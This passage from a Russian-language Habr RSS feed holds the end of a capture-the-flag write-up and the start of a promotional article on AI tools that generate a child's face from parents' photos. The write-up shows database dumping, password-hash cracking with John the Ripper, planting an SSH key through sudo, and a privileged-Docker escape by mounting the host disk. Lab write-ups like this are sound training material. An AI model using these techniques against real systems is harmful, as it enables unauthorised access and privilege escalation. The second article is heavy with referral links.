sqlite3 php python3                                                                   &#xA;/usr/local/bin/php&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Единственное, что есть &lt;code&gt;php&lt;/code&gt;. С помощью &lt;code&gt;php&lt;/code&gt; можно прочитать и базу данных тоже. Поэтому будем все писать ручками. Заходим в интерактивный шелл и смотрим таблицы и выдираем все полезное содержимое.&lt;pre&gt;&lt;code class=php&gt;php -a&#xA;Interactive shell&#xA;&#xA;php &amp;gt; $db=new mysqli(&amp;#34;db&amp;#34;,&amp;#34;root&amp;#34;,&amp;#34;root&amp;#34;,&amp;#34;walter_fund&amp;#34;);&#xA;php &amp;gt; $r=$db-&amp;gt;query(&amp;#34;show tables&amp;#34;);&#xA;php &amp;gt; while($row=$r-&amp;gt;fetch_row()) print_r($row);&#xA;Array&#xA;(&#xA;    [0] =&amp;gt; admins&#xA;)&#xA;Array&#xA;(&#xA;    [0] =&amp;gt; donations&#xA;)&#xA;php &amp;gt; $r=$db-&amp;gt;query(&amp;#34;select * from admins&amp;#34;);&#xA;php &amp;gt; while($row=$r-&amp;gt;fetch_assoc()) print_r($row);&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 1&#xA;    [username] =&amp;gt; flynn&#xA;    [password] =&amp;gt; junior&#xA;)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Далее выдираем таблицу &lt;code&gt;donations&lt;/code&gt;.&lt;pre&gt;&lt;code class=php&gt;php &amp;gt; $r=$db-&amp;gt;query(&amp;#34;select * from donations&amp;#34;);&#xA;php &amp;gt; while($row=$r-&amp;gt;fetch_assoc()) print_r($row);&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 1&#xA;    [donor_name] =&amp;gt; Jesse Pinkman&#xA;    [amount] =&amp;gt; 5000.00&#xA;    [donation_date] =&amp;gt; 2009-10-18&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 2&#xA;    [donor_name] =&amp;gt; Hank Schrader&#xA;    [amount] =&amp;gt; 1500.00&#xA;    [donation_date] =&amp;gt; 2009-09-18&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 3&#xA;    [donor_name] =&amp;gt; Skinny Pete&#xA;    [amount] =&amp;gt; 50.50&#xA;    [donation_date] =&amp;gt; 2009-10-20&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 4&#xA;    [donor_name] =&amp;gt; Gustavo Fring of Los Pollos Hermanos&#xA;    [amount] =&amp;gt; 10000.00&#xA;    [donation_date] =&amp;gt; 2009-10-20&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 5&#xA;    [donor_name] =&amp;gt; Batcher&#xA;    [amount] =&amp;gt; 30.00&#xA;    [donation_date] =&amp;gt; 2009-10-23&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 6&#xA;    [donor_name] =&amp;gt; Marie Schrader&#xA;    [amount] =&amp;gt; 500.00&#xA;    [donation_date] =&amp;gt; 2009-10-24&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 7&#xA;    [donor_name] =&amp;gt; Bogdan Volanitz&#xA;    [amount] =&amp;gt; 100.00&#xA;    [donation_date] =&amp;gt; 2009-10-27&#xA;)&#xA;Array&#xA;(&#xA;    [id] =&amp;gt; 8&#xA;    [donor_name] =&amp;gt; S11pp1n000Jimmy&#xA;    [amount] =&amp;gt; 9999.00&#xA;    [donation_date] =&amp;gt; 2009-10-30&#xA;)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Последний id уж очень отличается и похож на пароль либо пассфразу. Нужно пробовать.&lt;pre&gt;&lt;code class=bash&gt;borg list .&#xA;Enter passphrase for key /home/den/backup: &#xA;saul-back                            Mon, 2025-12-01 12:34:39 [c5a52d964894d0c8716c2244edf422009d436b9f34389d08eb04844b981a79b2]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Парольная фраза верна. Распакуем архив.&lt;pre&gt;&lt;code class=bash&gt;borg extract .::saul-back&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Появилась папка home/saul и здесь есть скрытая папка .ssh с ключом. Пробуем логинится от имени saul.&lt;pre&gt;&lt;code class=bash&gt;ssh -i id_rsa saul@10.10.10.155&#xA;** WARNING: connection is not using a post-quantum key exchange algorithm.&#xA;** This session may be vulnerable to &amp;#34;store now, decrypt later&amp;#34; attacks.&#xA;** The server may need to be upgraded. See https://openssh.com/pq.html&#xA;Enter passphrase for key &amp;#39;id_rsa&amp;#39;: &#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Но и здесь все не так просто, снова нужна пассфраза. Я такие машины уже решал, поэтому создаем хэш и брутим с помощью джона.&lt;pre&gt;&lt;code class=bash&gt;ssh2john id_rsa &amp;gt; hash &#xA;john hash --wordlist=/usr/share/wordlists/rockyou.txt&#xA;Using default input encoding: UTF-8&#xA;Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])&#xA;Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes&#xA;Cost 2 (iteration count) is 24 for all loaded hashes&#xA;Will run 4 OpenMP threads&#xA;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#xA;ilovemike        (id_rsa)     &#xA;1g 0:00:01:20 DONE (2026-04-27 17:41) 0.01249g/s 25.58p/s 25.58c/s 25.58C/s harris..lovers1&#xA;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#xA;Session completed. &#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Логинимся и забираем второй флаг.&lt;pre&gt;&lt;code class=bash&gt;cat flag2.txt &#xA;flag_751302c2172ca7e8ac68765f174406e1&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Третий флаг&lt;/h3&gt;&lt;p&gt;Осмотримся в домашней директории и почитаем записки.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b71/ec9/180/b71ec91807bd05dbce5fe7b0843795ae.png alt=&#34;Saul ssh&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b71/ec9/180/b71ec91807bd05dbce5fe7b0843795ae.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b71/ec9/180/b71ec91807bd05dbce5fe7b0843795ae.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Saul ssh&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Из скриншота видно, что записка намикает на то, что можем получить доступ к аккаунту &lt;code&gt;walter&lt;/code&gt;, который состоит в группе &lt;code&gt;developers&lt;/code&gt;, а команда &lt;code&gt;sudo -l&lt;/code&gt; это подтверждает.&lt;p&gt;Поскольку иногда бывают проблемы с копипастом ключей, лучше сгенерировать ключ прямо в терминале.&lt;pre&gt;&lt;code class=bash&gt;ssh-keygen -t rsa -N &amp;#34;&amp;#34; -f /tmp/walter&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Добавляем его Уолтеру&lt;pre&gt;&lt;code class=bash&gt;cat /tmp/walter.pub | sudo -u walter /usr/bin/tee -a /home/walter/.ssh/authorized_keys&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;И пробуем логинится локально.&lt;pre&gt;&lt;code class=bash&gt;ssh -i /tmp/walter walter@localhost&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Успех и читаем третий флаг.&lt;pre&gt;&lt;code class=bash&gt;cat flag3.txt                                  &#xA;flag_691bf4e515a877ab5227c6a8459e4c7c&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Четвертый флаг&lt;/h3&gt;&lt;p&gt;Для начала осмотримся и почитаем подсказки.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d07/6b1/bd2/d076b1bd2bfd5796e3aa8992b6f9cb42.png alt=&#34;Walter Shell&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d07/6b1/bd2/d076b1bd2bfd5796e3aa8992b6f9cb42.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d07/6b1/bd2/d076b1bd2bfd5796e3aa8992b6f9cb42.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Walter Shell&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Сразу виден файл с SUID битом, а подсказка намикает на легкий &lt;code&gt;OSINT&lt;/code&gt;. Я к сожалению смотрел только первый сезон этого сериала, но едва ли вспомню, кто кого там убивал, по этому идем гуглить.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/838/44e/9d3/83844e9d393159f8712123b95229003d.png alt=OSINT sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/838/44e/9d3/83844e9d393159f8712123b95229003d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/838/44e/9d3/83844e9d393159f8712123b95229003d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;OSINT&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Вводим имя &lt;code&gt;Heisenberg&lt;/code&gt; и получаем рута, читаем четвертый флаг.&lt;pre&gt;&lt;code class=bash&gt;cat flag4.txt&#xA;flag_f17b8e2070286ae16fac5f2333338ad9&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Пятый флаг и побег из контейнера&lt;/h3&gt;&lt;p&gt;Несмотря на то, что мы взяли рута, это всего лишь контейнер. Первое, что нужно определить, какой это контейнер привилигерованный или нет.&lt;pre&gt;&lt;code class=bash&gt;ls /dev/&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Если видим устройства sda или nvme, то мы практически сбежали.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d85/768/5a1/d857685a1fa99581015efdde3de861c6.png alt=&#34;Docker Escape&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d85/768/5a1/d857685a1fa99581015efdde3de861c6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d85/768/5a1/d857685a1fa99581015efdde3de861c6.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Docker Escape&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;На скрине видны все устройства системы, а вторая команда подтверждает, что контейнер привелигерованный. Уходим!&lt;pre&gt;&lt;code class=bash&gt;mkdir /mnt/host_root&#xA;mount /dev/sda1 /mnt/host_root&#xA;cd /mnt/host_root&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Мы в корне системы. Читаем флаг рута.&lt;pre&gt;&lt;code class=bash&gt;cd root/&#xA;cat root.txt&#xA;flag_c598ec6d71d1339cac6cba0b91df55cf&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;p&gt;Райтап от &lt;a href=https://github.com/alfabuster rel=&#34;noopener noreferrer nofollow&#34;&gt;@alfabuster&lt;/a&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>seobuster</author>
      <guid>https://habr.com/ru/articles/1046229/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046229</guid>
      <pubDate>Wed, 10 Jun 2026 19:37:54 +0000</pubDate>
    </item>
    <item>
      <title>Сгенерировать фото будущего ребенка по фото родителей, тестируем ТОП-5 ИИ и сравниваем результаты</title>
      <link>https://habr.com/ru/companies/studyai/articles/1046019/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046019</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Предсказывать внешность ребенка по фотографии родителей - аттракцион старый как мир. Помните убогие флеш-сайты из нулевых, которые просто брали овал лица мамы, топорно накладывали поверх глаза папы с прозрачностью 50% и выдавали пугающего кадавра?&lt;p&gt;В 2026 году технологии ушли от банального «склеивания скальпов». Современные генеративные модели работают с эмбеддингами - они переводят уникальные черты лица в многомерные векторы, смешивают их в латентном пространстве диффузионных моделей и декодируют в абсолютно реалистичные портреты.&lt;p&gt;Мы решили устроить жесткий тест-драйв актуальным нейросетям и ботам. Чтобы эксперимент был максимально честным, мы взяли эталонную пару, чья реальная генетика известна всему миру - &lt;strong&gt;Анджелину Джоли и Брэда Питта&lt;/strong&gt; - и попытались воссоздать их общую дочь &lt;strong&gt;Шайло&lt;/strong&gt; с помощью алгоритмов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/fa9/77d/6fd/fa977d6fd08dcb0fadfd886f7d950801.png width=707 height=434 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/fa9/77d/6fd/fa977d6fd08dcb0fadfd886f7d950801.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/fa9/77d/6fd/fa977d6fd08dcb0fadfd886f7d950801.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Мы скормили их архивные фотографии нейросетям и сравнили получившегося ИИ-ребенка с их реальной дочерью &lt;strong&gt;Шайло&lt;/strong&gt;. Покажем, насколько близко латентное пространство нейросетей подобралось к реальной биологической ДНК.&lt;hr&gt;&lt;h2&gt;Как нейросеть генерирует фото будущего ребенка👶&lt;/h2&gt;&lt;p&gt;Если вам говорят, что нейросеть просто «анализирует и совмещает картинки» - это уровень объяснения для детского сада. Тут нужно смотреть на архитектуру.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ce/44a/b1e/1ce44ab1ea5f8f3660d444599c5f3de8.png alt=&#34;Логика работы Face-to-Face адаптеров&#34; title=&#34;Логика работы Face-to-Face адаптеров&#34; width=674 height=455 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1ce/44a/b1e/1ce44ab1ea5f8f3660d444599c5f3de8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ce/44a/b1e/1ce44ab1ea5f8f3660d444599c5f3de8.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Логика работы Face-to-Face адаптеров&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Большинство современных сервисов быстрого инференса ушли от классического Face-Swap (замены лиц) в сторону архитектур вроде &lt;strong&gt;InstantID&lt;/strong&gt; или кастомных &lt;strong&gt;IP-Adapter-FaceID&lt;/strong&gt; на базе моделей диффузии (SDXL/ Flux).&lt;pre&gt;&lt;code&gt;[Фото Мамы] ──&amp;gt; [Face Encoder (InsightFace)] &#xA;──&amp;gt; Извлечение эмбеддингов (512-мерный вектор) &#xA;──┐&#xA;                                                                                               ├──&amp;gt; [IdentityNet &amp;amp; Cross-Attention] ──&amp;gt; [Генерация UNet] ──&amp;gt; Готовый ИИ-ребенок&#xA;[Фото Папы] ──&amp;gt; [Face Encoder (InsightFace)] &#xA;──&amp;gt; Извлечение эмбеддингов (512-мерный вектор) &#xA;──┘&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Извлечение признаков:&lt;/strong&gt; Специальный энкодер (например, &lt;em&gt;InsightFace&lt;/em&gt;) находит на снимках родителей ключевые точки (landmarks) и преобразует геометрию лиц в компактные векторы.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Латентное смешивание:&lt;/strong&gt; Алгоритм не склеивает пиксели. Он берет, условно, 50% признаков отца, 50% матери (или сдвигает веса в сторону доминантных фенотипов) и передает этот кастомный вектор в сеть генерации.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Декодирование:&lt;/strong&gt; Нейросеть с нуля отрисовывает лицо ребенка, сохраняя микротекстуру кожи, разрез глаз и форму челюсти родителей, но адаптируя их под детский или подростковый возраст.&lt;/ol&gt;&lt;hr&gt;&lt;h2&gt;Лучшие нейросети для генерации ребенка по фото родителей&lt;/h2&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#1&gt;&lt;strong&gt;Быстрый инференс и генерация «в один клик»&lt;/strong&gt;&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano_banana_pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;Dalle_3_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#2&gt;&lt;strong&gt;Пост-процессинг, апскейл и анимация фото будущего ребенка с помощью нейросети&lt;/strong&gt;&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5&#34;&gt;&lt;strong&gt;Chat_gpt5_pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgemini_pro_plus_bot&#34;&gt;&lt;strong&gt;Gemini3_pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;strong&gt;Google_image&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;Improve_photos&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;strong&gt;Аnimating_image&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_photo&#34;&gt;&lt;strong&gt;Аnimating_photo&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Быстрый инференс и генерация «в один клик»&lt;/h2&gt;&lt;a class=anchor id=1&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Начнем с инструментов, которые не требуют разворачивания локальных репозиториев на Ubuntu и покупки фермы из RTX 4090. Это готовые боты и интерфейсы, настроенные на быструю выдачу результата.&lt;/strong&gt;&lt;/code&gt;&lt;h4&gt;1. Nano_banana_pro - Флагман быстрого блендинга&lt;/h4&gt;&lt;p&gt;👶&lt;strong&gt;&lt;em&gt;Создать ребенка по фото родителей в &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;&lt;em&gt;Nano_banana_pro&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Этот инструмент создавался как раз для того, чтобы решать сложные графические задачи без душного написания сотен строк промтов. Посмотрим, как он справляется со скрещиванием голливудской генетики.&lt;p&gt;&lt;strong&gt;Как тестировали:&lt;/strong&gt; Загрузили архивные фото Брэда и Анджелины в максимальном качестве, выставили ползунок генерации на «Дети».&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/6e6/aa4/391/6e6aa43918bb23f2bc340ee62cb10b93.png width=650 height=500 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/6e6/aa4/391/6e6aa43918bb23f2bc340ee62cb10b93.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/6e6/aa4/391/6e6aa43918bb23f2bc340ee62cb10b93.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Что внутри &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;&lt;em&gt;Nano_banana_pro&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; Тюнингованный пайплайн с мощным апскейлером и встроенным алгоритмом сглаживания артефактов «зловещей долины».&lt;h4&gt;Результат тест-драйва&lt;/h4&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9a3/683/da3/9a3683da3a511e8441e61a1123984db3.jpg alt=&#34;Бот выдал на удивление живую и глянцевую картинку&#34; title=&#34;Бот выдал на удивление живую и глянцевую картинку&#34; width=1152 height=896 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9a3/683/da3/9a3683da3a511e8441e61a1123984db3.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9a3/683/da3/9a3683da3a511e8441e61a1123984db3.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Бот выдал на удивление живую и глянцевую картинку&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Нейросеть не просто скопировала нос Питта, она поймала форму губ Джоли и выдала вполне естественный бленд. Текстура кожи не выглядит пластиковой маской, сохранен правильный блик в зрачках.&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt; Бешеная скорость (около 15 секунд), высокая эстетика выдачи, полное отсутствие криповых артефактов (лишние зубы, поплывшие глаза).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt; Из-за сильного коммерческого файнтьюна модель стремится сделать ребенка «слишком идеальным» и модельным, слегка сглаживая уникальные этнические или резкие черты лица родителей.&lt;/ul&gt;&lt;hr&gt;&lt;h3&gt;2. Midjourney_toe_bot - Художественный файнтьюн и кинематографичный арт&lt;/h3&gt;&lt;p&gt;👶&lt;strong&gt;&lt;em&gt;Создать ребенка по фото родителей в &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;&lt;em&gt;Midjourney_toe_bot&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt; - безоговорочный лидер по части фотореализма, глубины резкости и проработки деталей (волосы, поры, свет). Но у нее есть проблема: MJ изначально создавалась как инструмент для искусства, а не для точного копирования лиц. Прямой функции «сделай ребенка из двух фото» тут нет, поэтому приходится обходить ограничения 